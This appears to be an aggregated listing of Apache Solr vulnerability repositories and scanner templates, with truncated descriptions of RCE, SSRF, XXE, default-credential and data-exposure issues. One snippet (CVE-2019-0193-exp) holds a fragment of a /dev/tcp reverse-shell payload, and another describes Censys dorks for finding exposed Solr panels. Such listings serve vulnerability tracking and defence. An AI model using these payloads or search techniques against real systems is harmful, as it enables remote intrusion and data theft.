CVE-2026-44825-Apache-Solr-Scanner

CVE-2026-44825 Apache Solr Scanner This repository contains a Go-based scanner for detecting and testing Apache Solr instances that may be affected by CVE-2026-44825, related to Velocity Template Remote Code Execution RCE conditions. The tool can scan a single target or a list of targets, detect...

Solr_CVE-2019-17558

SolrCVE-2019-17558 使用: python3 SolrCVE-2019-17558.py url whoami...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler 服务器端请求伪造（SSRF） 访问计数器 Apache Solr（全称 Searching On Lucene with Replication）是一个基于 Apache Lucene 库的免费开源搜索引擎，使用 Java 编写。Apache Solr 提供 RESTful XML/HTTP 和 JSON API，并支持多种编程语言的客户端库，例如 Java、Python、Ruby、C、PHP 等，广泛用于构建基于搜索和大数据分析的应用程序，涵盖网站、数据库、文件等场景。 Apache Solr...

Sitecore.Solr-log4j-mitigation

Sitecore.Solr-log4j-mitigation CVE-2021-44228 本仓库包含一个脚本，您可以在您的（Windows）机器上运行，通过应用 https://solr.apache.org/security.htmlapache-solr-affected-by-apache-log4j-cve-2021-44228 上记录的建议来缓解 CVE-2021-44228。 该PowerShell脚本假定您在开发机上使用Sitecore安装助手安装Sitecore时使用了默认根路径。 请自行承担使用脚本的风险，欢迎通过pull requests提供建议和修改。...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 至 5.5.5 及 6.0.0 至 6.6.5 这是 Apache Solr RCE 的早期 PoC 来自 https://issues.apache.org/jira/browse/SOLR-13301: ConfigAPI 允许通过 HTTP POST 请求配置 Solr 的 JMX 服务器。 通过将其指向一个恶意的 RMI 服务器，攻击者可以利用 Solr 的不安全反序列化，在 Solr 端触发远程代码执行。 概念验证 通过查看安全公告的描述并检查 Apache Solr 的 ConfigAPI...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 参考（向dalao们致敬）： CVE-2023-50386漏洞作者博客 Java Security Manager绕过姿势 JDK 17下的反射保护绕过 JNI绕Rasp 漏洞利用原理和思考：https://mp.weixin.qq.com/s/mO4e8aiuL56yBdOD4jy2qQ poc是用Pocsuite3写的，直接用框架运行即可，若不使用框架，则提取其核心实现出来也可以...

Apache Solr DataImportHandler <8.2.0 - Remote Code Execution

Apache Solr is vulnerable to remote code execution vulnerabilities via the DataImportHandler, an optional but popular module to pull in data from databases and other sources. The module has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug...

XWiki < 4.10.15 - Sensitive Information Disclosure

XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are...

Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials

Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users. id: CVE-2026-44825 inf...

Apache OFBiz < 18.12.07 - Local File Inclusion

Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07. id: CVE-2022-47501 info: name: Apache OFBiz 18.12.07 - Local File Inclusion author: your3cho severity:...

cve-2017-12629

自述文件 在 Apache Solr 7.1 之前的版本中，结合使用 Apache Lucene 7.1 之前的版本，通过利用 XXE 并配合 Config API 的 add-listener 命令来触发 RunExecutableListener 类，可实现远程代码执行。Elasticsearch 虽然使用了 Lucene，但不受此漏洞影响。请注意，XML 外部实体扩展漏洞存在于 XML 查询解析器中，默认情况下，任何带有参数 deftype=xmlparser 的查询请求均可利用该漏洞，通过向 /upload 请求处理器上传恶意数据，或作为使用 FTP 包装器的 Blind...

CVE-2019-0193

CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar dataSource name="fromMysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mysql"...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Docker 演示 Mac 演示 NVD CVE-2020-13957 描述 NVD CVE-2020-13957 Apache Solr 6.6.0 至 6.6.6、7.0.0 至 7.7.3 以及 8.0.0 至 8.6.2 版本阻止了一些被视为危险的特性（这些特性可能被用于远程代码执行）在通过 API 无需身份验证/授权上传的 ConfigSet 中进行配置。通过使用 UPLOAD/CREATE 操作的组合，可以绕过为防止此类特性而设置的检查。 Docker 搭建 PoC 环境 1. 根据 Dockerfile 构建镜像...

CVE-2019-12409

CVE-2019-12409 RCE en Apache Solr ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 注入以获取 shell 用于编码 url, postrequest, getrequest...

CVE-2019-14222

CVE-2019-14222: Alfresco Community 中的默认证书 Alfresco Community 5.x及以下版本默认附带一组已知的私有证书。任何在本地机器上下载并安装Alfresco Community软件的用户都可以获取这些文件。 获得这些私钥后，可以用于： 访问Solr（使用x509证书认证） 使用受信任的Alfresco证书发起主动中间人攻击 如果使用非短暂密码套件，则发起被动解密攻击 NVD披露： 此漏洞的披露信息可在此处找到：here。 要求： 此漏洞需要： 应用程序使用默认的SSL/TLS证书 概念证明： 更多详情及利用过程可在此PDF中找到。...

CVE-2020-13941

CVE-2020-13941：在 Windows 环境中滥用 UNC 路径攻击 Apache Solr 已发现多个 Solr 端点接受绝对路径。在 Windows 系统中，这些绝对路径可被强制用于使操作系统连接到攻击者控制的 SMB 服务器。 此行为可能导致以下攻击： 捕获 NTLM 哈希并在本地破解 SMB 中继攻击，可用于向其他 SMB 服务器进行身份验证 注意： 尽管不在该 CVE 的范围内，但在认证后，此行为可通过恶意 Solr 配置文件导致远程代码执行： 在 Windows 环境中，通过 SMB 远程提供配置 在 Windows 和 Linux 系统中，将 Solr...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity Template Injection Vulnerability Detection Tool Tool Introduction At the end of October 2019, the Solr Velocity template injection remote command execution vulnerability was disclosed. Manual detection of this vulnerability requires several rounds of capturing and modifying packets...

Solr-GRAB

Solr-GRAB Apache Solr インスタンスのクエリを、ユーザー名とパスワードの有無にかかわらず収集します。 免責事項 : このプロジェクトは、許可されたテストおよび教育目的にのみ使用すべきです。 ダウンロード git clone https://github.com/GnosticPlayers/Solr-GRAB 使用方法 Censys を使用して、dork "Welcome To Solr" または "Apache Solr Admin" で Apache Solr インスタンスを検索できます。クエリを取得するには、HTTP アクセスポイントにアクセスするだけです。ポー...